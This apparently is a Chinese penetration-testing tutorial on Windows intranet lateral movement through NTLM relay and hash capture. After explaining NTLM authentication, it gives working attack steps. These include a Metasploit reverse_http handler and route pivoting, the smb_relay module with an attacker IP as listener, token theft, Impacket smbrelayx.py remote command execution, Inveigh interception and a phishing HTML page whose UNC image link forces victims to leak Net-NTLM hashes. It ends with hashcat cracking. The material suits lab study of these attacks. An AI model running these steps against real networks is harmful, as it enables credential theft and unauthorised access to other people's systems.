【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

时间:2021-04-01 01:17:06

章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

基本知识点

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews)
可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器:
4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。
5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。
服务器根据DC返回的结果,对客户端进行回复
在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。

横向移动-NTLM中继攻击-Relay重放-SMB上线

条件

通讯双方当前用户和密码一致
例如 webserver中有本地用户administrator/admin!@#45
并且sqlserver本地用户也有administrator/admin!@#45
那么可以通过 dir \192.168.3.32\c$访问到sqlserver下C盘文件,因为访问时默认会使用当前用户密码进行验证对方电脑账号密码
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
当访问DC(administrator/Admin12345)时,密码错误,就无法查看DC目录
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

cs转发上线msf

CS:

spawn l-msf

MSF:
监听上线:

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8787
run

添加路由:

run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回

【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

smb_relay模块(ms08-068)

重发模块:

use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 47.94.130.xx   //设置本地IP
set autorunscript post/windows/manage/migrate

主动连接:

set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

关键是如何获取administrator权限
从system权限进行令牌窃取获取administrator权限
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
msf下窃取令牌
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
很遗憾没有复现成功(生成新的对话)
在公网vps上测试:
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
开始以为是网络问题,切换至本地kali上同样也是只返回一段hash值,并没有生成新的对话
【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1(webserver)访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2(sqlserver) 。

 ./smbrelayx.py -h <Client2 IP> -c Command

【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews
……

横向移动-NTLM中继攻击-Inveigh嗅探-Hash破解

条件:被控主机当前管理员权限
Responder中继攻击-NTLM Hash破解
https://github.com/hashcat/hashcat/
https://github.com/Kevin-Robertson/Inveigh
1、监听拦截

Inveigh.exe

获取到的是NET NTLM HASH V1或V2
2、触发拦截

dir \\192.168.3.x\c$

2.1、钓鱼触发
http://192.168.3.31/1.html

<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3、破解密文

hashcat -m 5600 hash pass.txt --show